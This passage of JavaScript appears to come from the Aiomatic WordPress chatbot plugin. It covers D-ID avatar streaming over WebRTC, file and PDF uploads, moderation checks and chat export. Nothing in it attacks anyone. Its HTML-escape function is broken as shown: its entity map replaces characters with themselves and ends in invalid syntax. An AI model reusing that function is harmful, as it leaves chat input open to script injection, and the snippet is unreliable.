peerConnection.iceGatheringState); } } function onIceCandidate(event) { if(streamingdebugging) { console.log('onIceCandidate', event); } if (event.candidate) { const { candidate, sdpMid, sdpMLineIndex } = event.candidate; fetch(`https://api.d-id.com/talks/streams/${streamId}/ice`, { method: 'POST', headers: { Authorization: `Basic ` + apiKey, 'Content-Type': 'application/json', }, body: JSON.stringify({ candidate, sdpMid, sdpMLineIndex, session_id: sessionId, }), }); } } function onIceConnectionStateChange() { if(streamingdebugging) { console.log('ICE status: ' + peerConnection.iceConnectionState); } if (peerConnection.iceConnectionState === 'failed' || peerConnection.iceConnectionState === 'closed') { stopAllStreams(); closePC(); } } function onConnectionStateChange() { if(streamingdebugging) { console.log('Peer connection state: ' + peerConnection.connectionState); } } function onSignalingStateChange() { if(streamingdebugging) { console.log('Signal status change: ' + peerConnection.signalingState); } } function onVideoStatusChange(videoIsPlaying, stream) { let status; if (videoIsPlaying) { status = 'streaming'; const remoteStream = stream; setVideoElement(remoteStream); } else { status = 'empty'; whenFinishedPlaying(talkVideo); playIdleVideo(); } if(streamingdebugging) { console.log('Streaming status change: ' + status); } } function onTrack(event) { if (!event.track) return; statsIntervalId = setInterval(async () => { const stats = await peerConnection.getStats(event.track); stats.forEach((report) => { if (report.type === 'inbound-rtp' && report.mediaType === 'video') { const videoStatusChanged = videoIsPlaying !== report.bytesReceived > lastBytesReceived; if (videoStatusChanged) { videoIsPlaying = report.bytesReceived > lastBytesReceived; onVideoStatusChange(videoIsPlaying, event.streams[0]); } lastBytesReceived = report.bytesReceived; } }); }, 500); } async function createPeerConnection(offer, iceServers) { if (!peerConnection) { peerConnection = new RTCPeerConnection({ iceServers }); peerConnection.addEventListener('icegatheringstatechange', onIceGatheringStateChange, true); peerConnection.addEventListener('icecandidate', onIceCandidate, true); peerConnection.addEventListener('iceconnectionstatechange', onIceConnectionStateChange, true); peerConnection.addEventListener('connectionstatechange', onConnectionStateChange, true); peerConnection.addEventListener('signalingstatechange', onSignalingStateChange, true); peerConnection.addEventListener('track', onTrack, true); } await peerConnection.setRemoteDescription(offer); if(streamingdebugging) { console.log('set remote sdp OK'); } const sessionClientAnswer = await peerConnection.createAnswer(); if(streamingdebugging) { console.log('create local sdp OK'); } await peerConnection.setLocalDescription(sessionClientAnswer); if(streamingdebugging) { console.log('set local sdp OK'); } return sessionClientAnswer; } function setVideoElement(stream) { if (!stream) return; talkVideo.muted = false; talkVideo.srcObject = stream; talkVideo.loop = false; if (talkVideo.paused) { talkVideo .play() .then((_) => {}) .catch((e) => {}); } } async function playIdleVideo() { if (!idleVideoUrl) { // If not, call the generateIdleVideo function to get it let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('did_image', aiomatic_chat_ajax_object.did_image); speechData.append('action', 'aiomatic_get_d_id_default_video_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); return; // Exit the function if unable to retrieve the video }; speechRequest.onerror = function () { console.error("Network Error"); return; // Exit the function if unable to retrieve the video }; speechRequest.onabort = function () { console.error("The request was aborted."); return; // Exit the function if unable to retrieve the video }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success') { idleVideoUrl = jsonresult.video; talkVideo.muted = false; talkVideo.src = idleVideoUrl; talkVideo.loop = true; talkVideo.play().catch(e => console.error('Error playing idle video:', e)); } else { var errorMessageDetail = 'D-ID: ' + jsonresult.msg; console.log('D-ID Text-to-video error: ' + errorMessageDetail); return; // Exit the function if unable to retrieve the video } } catch (errorSpeech){ console.log('Exception in D-ID Text-to-video API: ' + errorSpeech); return; // Exit the function if unable to retrieve the video } } speechRequest.send(speechData); } else { talkVideo.srcObject = null; talkVideo.src = idleVideoUrl; talkVideo.loop = true; talkVideo.play().catch(e => console.error('Error playing idle video:', e)); } loadingIndicator.style.display = 'none'; var chatbut = jQuery('#aichatsubmitbut' + chatId); aiomaticStreamRmLoading(chatbut); } function stopAllStreams() { if (talkVideo.srcObject) { if(streamingdebugging) { console.log('stopping video streams'); } talkVideo.srcObject.getTracks().forEach((track) => track.stop()); talkVideo.srcObject = null; } } function closePC(pc = peerConnection) { if (!pc) return; if(streamingdebugging) { console.log('stopping peer connection'); } pc.close(); pc.removeEventListener('icegatheringstatechange', onIceGatheringStateChange, true); pc.removeEventListener('icecandidate', onIceCandidate, true); pc.removeEventListener('iceconnectionstatechange', onIceConnectionStateChange, true); pc.removeEventListener('connectionstatechange', onConnectionStateChange, true); pc.removeEventListener('signalingstatechange', onSignalingStateChange, true); pc.removeEventListener('track', onTrack, true); clearInterval(statsIntervalId); if(streamingdebugging) { console.log('stopped peer connection'); } if (pc === peerConnection) { peerConnection = null; } } const maxRetryCount = 3; const maxDelaySec = 4; async function fetchWithRetries(url, options, retries = 1) { if(streamingdebugging) { console.log('Fetching (' + retries + '): ' + url); } try { return await fetch(url, options); } catch (err) { if (retries <= maxRetryCount) { const delay = Math.min(Math.pow(2, retries) / 4 + Math.random(), maxDelaySec) * 1000; await new Promise((resolve) => setTimeout(resolve, delay)); console.log(`Request failed, retrying ${retries}/${maxRetryCount}. Error ${err}`); return fetchWithRetries(url, options, retries + 1); } else { throw new Error(`Max retries exceeded. error: ${err}`); } } } } } jQuery(document).ready(function($) { $('.aiomatic-chat-holder').each(function( ) { var instance = $(this).attr("instance"); initChatbotAiomatic(instance); if(window["aiomatic_chat_ajax_object" + instance].autoload == '1') { $('#aiomatic-open-button' + instance).click(); } }); }); function aiomatic_nl2br (str, is_xhtml) { if (typeof str === 'undefined' || str === null) { return ''; } var breakTag = (is_xhtml || typeof is_xhtml === 'undefined') ? '<br />' : '<br>'; return (str + '').replace(/([^>\r\n]?)(\r\n|\n\r|\r|\n)/g, '$1' + breakTag + '$2'); } function aiomatic_mergeDeep(target, source) { Object.keys(source).forEach(key => { if (source[key] && typeof source[key] === 'object' && key !== 'arguments') { if (!target[key]) { target[key] = {}; } aiomatic_mergeDeep(target[key], source[key]); } else { if (key === 'arguments') { if (!target[key]) { target[key] = ''; } target[key] += source[key]; } else { target[key] = source[key]; } } }); } function aiomaticEscapeHtml(text) { var map = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }; return text.replace(/[&<>"']/g, function(m) { return map[m]; }); } function aiChatUploadDataomatic(aiomatic_chat_ajax_object, uniqid, input_text, remember_string, user_question, function_result) { var formData = new FormData(); formData.append('uniqid', uniqid); formData.append('input_text', input_text); formData.append('remember_string', remember_string); formData.append('user_question', user_question); if(function_result !== null) { formData.append('function_result', function_result); } formData.append('action', 'aiomatic_save_chat_data'); formData.append('nonce', aiomatic_chat_ajax_object.persistentnonce); return jQuery.ajax({ url: aiomatic_chat_ajax_object.ajax_url, async: false, type: 'POST', data: formData, contentType: false, processData: false }); }; function initChatbotAiomatic(instance) { String.prototype.aitrim = function() { return this.replace(/^\s+|\s+$/g, ""); }; function aiomaticHideAndRepair(chatbut, e) { aiomaticRmLoading(chatbut) var chatbut = jQuery('#aiomatic-video-wrapper' + instance); chatbut.hide(); streamingEpicFail = true; console.error('Failed to init D-ID stream: ', e); alert('Chatbot avatar failed to load, please try again later.'); } function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(!btn.find('aiomatic-jumping-dots').length){ btn.append('<span class="aiomatic-jumping-dots"> <span class="aiomatic-dot-1">.</span><span class="aiomatic-dot-2">.</span><span class="aiomatic-dot-3">.</span></span>'); } btn.find('.aiomatic-jumping-dots').css('visibility','unset'); } var streamingEpicFail = false; var aiomatic_chat_ajax_object = window["aiomatic_chat_ajax_object" + instance]; var avatarImageUrl = ''; var did_app_id = ''; if(aiomatic_chat_ajax_object.text_speech == 'didstream' && !jQuery('.aiomatic-gg-unmute').length) { avatarImageUrl = aiomatic_chat_ajax_object.did_image; did_app_id = aiomatic_chat_ajax_object.did_app_id; if(avatarImageUrl != '' && did_app_id != '') { var chatbut = jQuery('#aichatsubmitbut' + instance); aiomaticLoading(chatbut); myStreamObject.startAndDisplayStream(avatarImageUrl, instance, did_app_id).catch((e) => aiomaticHideAndRepair(chatbut, e)); } } jQuery(document).on('click', '#ai-export-txt' + instance, function (event) { event.preventDefault(); ai_chat_download(); }); jQuery(document).on('click', '#ai-clear-chat' + instance, function (event) { event.preventDefault(); jQuery('#aiomatic_chat_history' + instance).html(''); }); jQuery(document).on('click', '.aiomatic-gg-mute', function() { jQuery(this).removeClass('aiomatic-gg-mute').addClass('aiomatic-gg-unmute'); }); jQuery(document).on('click', '.aiomatic-gg-unmute', function() { jQuery(this).removeClass('aiomatic-gg-unmute').addClass('aiomatic-gg-mute'); }); jQuery(document).on('click', '.aiomatic-gg-globalist', function() { var chatid = jQuery('.aiomatic-gg-globalist').attr('chatid'); var jq = jQuery('#aiomatic-globe-overlay' + chatid); jq.toggleClass('aiomatic-globe-bar'); var title = 'Disable Chatbot Internet Access' ; if(jq.hasClass('aiomatic-globe-bar')) { title = 'Enable Chatbot Internet Access'; } jQuery('#aiomatic-globe-overlay-mother' + chatid).attr('title', title); }); jQuery(document).on('click', '#aichatsubmitbut' + instance, function (event) { event.preventDefault(); openaichatfunct().catch(console.error); }); jQuery('body').on('click', '#aipdfbut' + instance, function(e) { jQuery('#aiomatic_pdf_input' + instance).click(); }); jQuery('body').on('click', '#aifilebut' + instance, function(e) { jQuery('#aiomatic_file_input' + instance).click(); }); var aiomatic_generator_working = false; var eventGenerator = false; jQuery('body').on('click', '#aistopbut' + instance, function(e) { var chatbut = jQuery('#aichatsubmitbut' + instance); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); }); jQuery('body').on('change', '#aiomatic_pdf_input' + instance, async function(e) { jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status"> </div>'); var pdf_input = jQuery('#aiomatic_pdf_input' + instance); if(pdf_input !== null && pdf_input !== undefined) { if (pdf_input[0] !== undefined && pdf_input[0].files !== undefined && pdf_input[0].files[0] !== undefined && pdf_input[0].files && pdf_input[0].files[0]) { var pdfIcon = document.getElementById('aipdfbut' + instance); var originalIcon = pdfIcon.innerHTML; pdfIcon.innerHTML = '<div class="aiomatic-pdf-loading"></div>'; jQuery('body').off('click', '#aipdfbut' + instance); var emb_namespace = 'pdf_' + Math.ceil(Math.random() * 100000); var formData = new FormData(); formData.append('image', pdf_input[0].files[0]); formData.append('pdf_namespace', emb_namespace); formData.append('action', 'aiomatic_handle_chat_pdf_upload'); formData.append('nonce', aiomatic_chat_ajax_object.persistentnonce); await jQuery.ajax({ url: aiomatic_chat_ajax_object.ajax_url, type: 'POST', data: formData, contentType: false, processData: false, success: function(response) { if(response.status == 'success') { pdf_input.val(''); const chatx = document.getElementById('aichatsubmitbut' + instance); chatx.setAttribute('data-pdf', emb_namespace); pdfIcon.innerHTML = '<div class="aiomatic-pdf-remove">×</div>'; pdfIcon.title = "End PDF session"; jQuery('body').on('click', '#aipdfbut' + instance, function(e) { const chatx = document.getElementById('aichatsubmitbut' + instance); chatx.setAttribute('data-pdf', ''); jQuery('body').off('click', '#aipdfbut' + instance); pdfIcon.innerHTML = originalIcon; pdfIcon.title = "Upload a PDF file to the chatbot"; jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + aiomatic_chat_ajax_object.pdf_end + '</div>'); jQuery('body').on('click', '#aipdfbut' + instance, function(e) { jQuery('#aiomatic_pdf_input' + instance).click(); }); }); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + aiomatic_chat_ajax_object.pdf_ok + '</div>'); } else { pdf_input.val(''); console.log(JSON.stringify(response)); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + aiomatic_chat_ajax_object.pdf_fail + '</div>'); pdfIcon.innerHTML = originalIcon; return; } }, error: function(error) { pdf_input.val(''); console.log('Error while calling pdf upload functions: ' + error.responseText); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + aiomatic_chat_ajax_object.pdf_fail + '</div>'); pdfIcon.innerHTML = originalIcon; return; } }); } } }); jQuery('body').on('change', '#aiomatic_file_input' + instance, async function(e) { jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status"> </div>'); var file_input = jQuery('#aiomatic_file_input' + instance); if(file_input !== null && file_input !== undefined) { if (file_input[0] !== undefined && file_input[0].files !== undefined && file_input[0].files[0] !== undefined && file_input[0].files && file_input[0].files[0]) { var fileIcon = document.getElementById('aifilebut' + instance); var ai_thread_id = jQuery('#aiomatic_thread_id' + instance).val(); var originalIcon = fileIcon.innerHTML; fileIcon.innerHTML = '<div class="aiomatic-file-loading"></div>'; jQuery('body').off('click', '#aifilebut' + instance); var formData = new FormData(); formData.append('image', file_input[0].files[0]); formData.append('thread_id', ai_thread_id); formData.append('action', 'aiomatic_handle_chat_file_upload'); formData.append('nonce', aiomatic_chat_ajax_object.persistentnonce); await jQuery.ajax({ url: aiomatic_chat_ajax_object.ajax_url, type: 'POST', data: formData, contentType: false, processData: false, success: function(response) { if(response.status == 'success') { file_input.val(''); const chatx = document.getElementById('aichatsubmitbut' + instance); chatx.setAttribute('data-store', response.msg); chatx.setAttribute('data-file', response.fid); fileIcon.innerHTML = '<div class="aiomatic-file-remove">×</div>'; fileIcon.title = "End file session"; jQuery('body').on('click', '#aifilebut' + instance, async function(e) { const chatx = document.getElementById('aichatsubmitbut' + instance); fileIcon.innerHTML = '<div class="aiomatic-file-loading"></div>'; var delstore = chatx.getAttribute('data-store'); var delfile = chatx.getAttribute('data-file'); if(delfile != '') { var formDelData = new FormData(); formDelData.append('id', delfile); formDelData.append('storeid', delstore); formDelData.append('action', 'aiomatic_delete_assistant_vector_store'); formDelData.append('nonce', aiomatic_chat_ajax_object.nonce); await jQuery.ajax({ url: aiomatic_chat_ajax_object.ajax_url, type: 'POST', data: formDelData, contentType: false, processData: false, success: function(response) { console.log('File deleted'); }, error: function(error) { console.log('Failed to delete file ID: ' + delfile + ', error: ' + error.responseText); } }); } chatx.setAttribute('data-file', ''); chatx.setAttribute('data-store', ''); jQuery('body').off('click', '#aifilebut' + instance); fileIcon.innerHTML = originalIcon; fileIcon.title = "Upload a file to the chatbot"; jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">File session ended</div>'); jQuery('body').on('click', '#aifilebut' + instance, function(e) { jQuery('#aiomatic_file_input' + instance).click(); }); }); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">File upload successful</div>'); } else { file_input.val(''); console.log(JSON.stringify(response)); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">File upload failed</div>'); fileIcon.innerHTML = originalIcon; return; } }, error: function(error) { file_input.val(''); console.log('Error while calling file upload functions: ' + error.responseText); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">File upload failed</div>'); fileIcon.innerHTML = originalIcon; return; } }); } } }); function aiisAlphaNumeric(str) { var code, i, len; for (i = 0, len = str.length; i < len; i++) { code = str.charCodeAt(i); if (!(code > 47 && code < 58) && // numeric (0-9) !(code > 64 && code < 91) && // upper alpha (A-Z) !(code > 96 && code < 123)) { // lower alpha (a-z) return false; } } return true; } var input = document.getElementById("aiomatic_chat_input" + instance); if(input !== undefined && input !== null) { input.addEventListener("keydown", function (e) { if (e.key === "Enter" && !e.shiftKey) { e.preventDefault(); openaichatfunct().catch(console.error); return false; } }); } function airemovePrefix(mainString, substring) { if (mainString.startsWith(substring)) { return mainString.slice(substring.length); } else { return mainString; } } function airemoveAfter(mainString, substring) { var index = mainString.indexOf(substring); if (index !== -1) { return mainString.slice(0, index); } else { return mainString; } } function aiomaticRmLoading(btn){ btn.removeAttr('disabled'); btn.find('.aiomatic-jumping-dots').remove(); } function AiHtmlDecode(input) { var doc = new DOMParser().parseFromString(input, "text/html"); return doc.documentElement.textContent; } function ai_trimHtmlToMaxLength(htmlString, maxLength) { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const divs = doc.querySelectorAll('div'); for (let i = divs.length - 1; i >= 0; i--) { if (doc.body.innerHTML.length <= maxLength) { break; } divs[i].parentNode.removeChild(divs[i]); } return doc.body.innerHTML; } function ai_chat_download() { if(aiomatic_chat_ajax_object.chat_download_format == 'txt') { var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); var text = x_input_text.replace(/<div class="ai-wrapper"><div class="ai-bubble ai-other">([\s\S]*?)<\/div><\/div>/g, aiomatic_chat_ajax_object.ai_message_preppend + "$1\n"); text = text.replace(/<div class="ai-wrapper"><div class="ai-bubble ai-mine">([\s\S]*?)<\/div><\/div>/g, aiomatic_chat_ajax_object.user_message_preppend + "$1\n"); text = text.replace(/<div class="ai-avatar ai-mine"><\/div>/g, ""); text = text.replace(/<div class="ai-avatar ai-other"><\/div>/g, ""); text = text.replace(/<div class="ai-speech">([\s\S]*?)<\/div>/g, ''); text = text.aitrim(); var element = document.createElement('a'); element.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(text)); element.setAttribute('download', 'chat.txt'); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } else { var element = document.querySelector('#aiomatic_chat_history' + instance); var originalStyle = element.getAttribute('style'); element.style.height = 'auto'; element.style.maxHeight = 'none'; element.style.overflow = 'visible'; html2canvas(element, { scrollY: -window.scrollY, useCORS: true, windowWidth: element.scrollWidth, windowHeight: element.scrollHeight }).then(canvas => { const imgData = canvas.toDataURL('image/png'); const { jsPDF } = window.jspdf; const pdf = new jsPDF({ orientation: 'landscape', unit: 'px', format: [canvas.width, canvas.height] }); var pageHeight = pdf.internal.pageSize.height; var imgHeight = canvas.height; var heightLeft = imgHeight; var position = 0; pdf.addImage(imgData, 'PNG', 0, position, canvas.width, canvas.height); heightLeft -= pageHeight; while (heightLeft >= 0) { position = heightLeft - imgHeight; pdf.addImage(imgData, 'PNG', 0, position, canvas.width, canvas.height); heightLeft -= pageHeight; } pdf.save('chat.pdf'); element.setAttribute('style', originalStyle); }); } } function aiomatic_strstr(haystack, needle, bool) { var pos = 0; haystack += ""; pos = haystack.indexOf(needle); if (pos == -1) { return false; } else { if (bool) { return haystack.substr(0, pos); } else { return haystack.slice(pos); } } } function xdelay(time) { return new Promise(resolve => setTimeout(resolve, time)); } async function openaichatfunct() { var chatbut = jQuery('#aichatsubmitbut' + instance); aiomaticLoading(chatbut); var input_textj = jQuery('#aiomatic_chat_input' + instance); var ai_thread_id = jQuery('#aiomatic_thread_id' + instance).val(); var ai_assistant_id = jQuery('#aiomatic_assistant_id' + instance).val(); if(ai_assistant_id === null) { ai_assistant_id = ''; } var pdf_data = chatbut.attr('data-pdf'); if(pdf_data === undefined || pdf_data === null) { pdf_data = ''; } var file_data = chatbut.attr('data-store'); if(file_data === undefined || file_data === null) { file_data = ''; } var input_text = ''; if(aiomatic_chat_ajax_object.text_speech == 'did' && !jQuery('.aiomatic-gg-unmute').length) { const boxes = document.querySelectorAll('.ai_video'); boxes.forEach(box => { box.remove(); }); } input_text = input_textj.val(); if(aiomatic_chat_ajax_object.no_empty == '1' && input_text == '') { aiomaticRmLoading(chatbut); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">You need to enter a message to speak to the chatbot.</div>'); return; } input_text = aiomaticEscapeHtml(input_text); var user_question = input_text; input_textj.val(''); if(aiomatic_chat_ajax_object.enable_moderation == '1') { var isflagged = false; await jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_moderate_text', text: input_text, nonce: aiomatic_chat_ajax_object.moderation_nonce, model: aiomatic_chat_ajax_object.moderation_model }, success: function(response) { if(typeof response === 'string' || response instanceof String) { try { var responset = JSON.parse(response); response = responset; } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + response); } } if(response.status == 'success') { var resp = null; try { resp = JSON.parse(response.data); } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + resp); } if(resp.results[0].flagged != undefined) { if(resp.results[0].flagged == true) { aiomaticRmLoading(chatbut); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + aiomatic_chat_ajax_object.flagged_message + '</div>'); isflagged = true; } } else { console.log('Invalid response from moderation ' + response); } } else { if(typeof response.msg !== 'undefined') { console.log('Moderation returned an error: ' + response.msg); } else { console.log('Moderation returned an error: ' + response); } } }, error: function(error) { console.log('Moderation failed: ' + error.responseText); }, }); if(isflagged == true) { return; } } var chat_preppend_text = aiomatic_chat_ajax_object.chat_preppend_text; var user_message_preppend = aiomatic_chat_ajax_object.user_message_preppend; var ai_message_preppend = aiomatic_chat_ajax_object.ai_message_preppend; var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); var remember_string = x_input_text; var is_modern_gpt = aiomatic_chat_ajax_object.is_modern_gpt; if(aiomatic_chat_ajax_object.max_messages != '') { const regex = /(<div class="ai-bubble ai-other">[\s\S]*?<\/div>)|(<div class="ai-bubble ai-mine">[\s\S]*?<\/div>)|(<div class="ai-speech">[\s\S]*?<\/div>)/g; let matches = []; let match; while ((match = regex.exec(remember_string)) !== null) { matches.push(match[0]); } remember_string = matches.slice(0 - parseInt(aiomatic_chat_ajax_object.max_messages)).join(''); } if(aiomatic_chat_ajax_object.max_message_context != '') { if(remember_string.length > parseInt(aiomatic_chat_ajax_object.max_message_context)) { remember_string = ai_trimHtmlToMaxLength(remember_string, parseInt(aiomatic_chat_ajax_object.max_message_context)); } } if(is_modern_gpt == '1') { remember_string = aiomatic_parse_html_to_gptobj(remember_string); if(chat_preppend_text != '') { remember_string.unshift({ role: 'system', content: chat_preppend_text }); } remember_string = JSON.stringify(remember_string); } else { remember_string = remember_string.replace(/<div class="ai-wrapper"><div class="ai-bubble ai-other"(?:\sstyle="[^"]*?")?>([\s\S]*?)<\/div><\/div>/g, ai_message_preppend + "$1\n"); remember_string = remember_string.replace(/<div class="ai-wrapper"><div class="ai-bubble ai-mine"(?:\sstyle="[^"]*?")?>([\s\S]*?)<\/div><\/div>/g, user_message_preppend + "$1\n"); remember_string = remember_string.replace(/<div class="ai-avatar ai-mine"><\/div>/g, ""); remember_string = remember_string.replace(/<div class="ai-avatar ai-other"><\/div>/g, ""); remember_string = remember_string.replace(/<div class="ai-speech"(?:\sstyle="[^"]*?")?>([\s\S]*?)<\/div>/g, ''); remember_string = remember_string.aitrim(); remember_string = remember_string.slice(-12000); var nlregex = /<br\s*[\/]?>/gi; remember_string = remember_string.replace(nlregex, "\n"); if(chat_preppend_text != '') { remember_string = chat_preppend_text + '\n' + remember_string; } } var model = aiomatic_chat_ajax_object.model; var temp = aiomatic_chat_ajax_object.temp; var top_p = aiomatic_chat_ajax_object.top_p; var presence = aiomatic_chat_ajax_object.presence; var frequency = aiomatic_chat_ajax_object.frequency; var instant_response = aiomatic_chat_ajax_object.instant_response; var user_token_cap_per_day = aiomatic_chat_ajax_object.user_token_cap_per_day; var user_id = aiomatic_chat_ajax_object.user_id; var enable_god_mode = aiomatic_chat_ajax_object.enable_god_mode; var persistent = aiomatic_chat_ajax_object.persistent; if(ai_assistant_id != '') { if(persistent != 'off' && persistent != '0' && persistent != '') { persistent = 'assistant'; } } if(model == 'default' || model == '') { model = jQuery( "#model-chat-selector" + instance + " option:selected" ).text(); } if(temp == 'default' || temp == '') { temp = jQuery('#temperature-chat-input' + instance).val(); } if(top_p == 'default' || top_p == '') { top_p = jQuery('#top_p-chat-input' + instance).val(); } if(presence == 'default' || presence == '') { presence = jQuery('#presence-chat-input' + instance).val(); } if(frequency == 'default' || frequency == '') { frequency = jQuery('#frequency-chat-input' + instance).val(); } var vision_file = ''; var vision_input = jQuery('#aiomatic_vision_input' + instance); if(vision_input !== null && vision_input !== undefined) { if (vision_input[0] !== undefined && vision_input[0].files !== undefined && vision_input[0].files[0] !== undefined && vision_input[0].files && vision_input[0].files[0]) { var formData = new FormData(); formData.append('image', vision_input[0].files[0]); formData.append('action', 'aiomatic_handle_vision_image_upload'); formData.append('nonce', aiomatic_chat_ajax_object.persistentnonce); await jQuery.ajax({ url: aiomatic_chat_ajax_object.ajax_url, type: 'POST', data: formData, contentType: false, processData: false, success: function(response) { if(response.status == 'success') { if(response.image_url !== '') { vision_input.val(''); jQuery('#aivisionbut' + instance).css("background-color", ""); vision_file = response.image_url; } else { vision_input.val(''); jQuery('#aivisionbut' + instance).css("background-color", ""); aiomaticRmLoading(chatbut); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">File upload failed, please try again later.</div>'); return; } } else { vision_input.val(''); jQuery('#aivisionbut' + instance).css("background-color", ""); aiomaticRmLoading(chatbut); console.log(JSON.stringify(response)); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + response.msg + '</div>'); return; } }, error: function(error) { vision_input.val(''); jQuery('#aivisionbut' + instance).css("background-color", ""); console.log('Error while calling AI functions: ' + error.responseText); aiomaticRmLoading(chatbut); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">Failed to process the file upload, please try again later.</div>'); return; } }); } } if(input_text.aitrim() != '') { if(aiomatic_chat_ajax_object.send_message_sound != '') { var snd = new Audio(aiomatic_chat_ajax_object.send_message_sound); snd.play(); } jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status"> </div>'); input_text = input_text.replace(/(?:\r\n|\r|\n)/g, '<br>'); var appendhtml = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_user_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url_user != '' && aiomatic_chat_ajax_object.show_user_avatar == 'show') { appendhtml += '<div class="ai-avatar ai-mine"></div>'; } appendhtml += '<div class="ai-bubble ai-mine">' + input_text; if(vision_file != '') { appendhtml += '<img src="' + vision_file + '" class="aiomatic-vision-image">'; } appendhtml += '</div>'; if(aiomatic_chat_ajax_object.bubble_user_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url_user != '' && aiomatic_chat_ajax_object.show_user_avatar == 'show') { appendhtml += '<div class="ai-avatar ai-mine"></div>'; } appendhtml += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendhtml); } if(aiomatic_chat_ajax_object.response_delay.trim() != '') { let xms; var sleepval = aiomatic_chat_ajax_object.response_delay.trim(); if (typeof sleepval === 'string' && sleepval.includes('-')) { const [min, max] = sleepval.split('-').map(Number); xms = Math.floor(Math.random() * (max - min + 1)) + min; } else { xms = Number(sleepval); } await aiomaticSleep(xms); } var lastch = input_text.charAt(input_text.length - 1); if(aiisAlphaNumeric(lastch)) { input_text += '.'; } if(user_message_preppend != '') { var endSpace = /\s$/; if (endSpace.test(user_message_preppend)) { input_text = user_message_preppend + input_text; } else { input_text = user_message_preppend + ' ' + input_text; } } if(is_modern_gpt != '1') { if(ai_message_preppend != '') { input_text = input_text + ' \n' + ai_message_preppend; } } if( jQuery('#aiomatic_message_input'+ instance).length ) { var hardcoded_chat = jQuery('#aiomatic_message_input' + instance).val(); if(hardcoded_chat !== '') { const fm = hardcoded_chat.trim().split(/\\r\\n|\\r|\\n/).filter(xline => xline.length > 0); if(fm[0] !== undefined && fm[0] !== null) { var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); var hardresponse = fm[0]; fm.shift(); if(fm.length == 0 && aiomatic_strstr(x_input_text, hardresponse, false) !== false) { hardresponse = false; } while(aiomatic_strstr(x_input_text, hardresponse, false) !== false && fm.length > 0) { fm.shift(); if(fm.length > 0) { hardresponse = fm[0]; } else { hardresponse = false; break; } } if(fm.length > 0) { jQuery('#aiomatic_message_input' + instance).val(fm.join('\\r\\n')); } else { jQuery('#aiomatic_message_input' + instance).val(''); } if(hardresponse !== false) { if(instant_response == 'true' || instant_response == 'on') { xdelay(1000).then(() => { var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + hardresponse + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); var has_speech = false; var response_data = hardresponse; if(aiomatic_chat_ajax_object.receive_message_sound != '') { var snd = new Audio(aiomatic_chat_ajax_object.receive_message_sound); snd.play(); } if(!jQuery('.aiomatic-gg-unmute').length) { if(aiomatic_chat_ajax_object.text_speech == 'elevenlabs') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_elevenlabs_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); 